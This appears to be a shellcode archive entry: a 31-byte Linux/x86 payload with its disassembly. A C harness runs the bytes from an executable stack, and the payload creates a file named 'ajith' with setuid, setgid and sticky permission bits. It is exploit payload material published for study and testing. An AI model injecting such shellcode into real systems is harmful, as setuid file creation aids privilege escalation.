/*
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Linux/x86 - Create file with permission 7775 and exit - 31 bytes

Ajith Kp [ @ajithkp560 ] [ https://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

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Disassembly of section .text:

08048060 <.text>:
 8048060:  eb 12                  jmp    0x8048074
 8048062:  5b                     pop    %ebx
 8048063:  31 c0                  xor    %eax,%eax
 8048065:  88 43 05               mov    %al,0x5(%ebx)
 8048068:  b0 08                  mov    $0x8,%al
 804806a:  b1 ff                  mov    $0xff,%cl
 804806c:  b5 ff                  mov    $0xff,%ch
 804806e:  cd 80                  int    $0x80
 8048070:  b0 01                  mov    $0x1,%al
 8048072:  cd 80                  int    $0x80
 8048074:  e8 e9 ff ff ff         call   0x8048062
 8048079:  61                     popa   
 804807a:  6a 69                  push   $0x69
 804807c:  74 68                  je     0x80480e6
 804807e:  23                     .byte 0x23
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How To Run

$ gcc -o create_file create_file.c
$ execstack -s create_file
$ ./create_file

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*/
#include <stdio.h>
char sh[]="\xeb\x12\x5b\x31\xc0\x88\x43\x05\xb0\x08\xb1\xff\xb5\xff\xcd\x80\xb0\x01\xcd\x80\xe8\xe9\xff\xff\xff\x61\x6a\x69\x74\x68\x23";
// It will create file named 'ajith' with permission 7775
void main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) sh;
  (int)(*func)();
}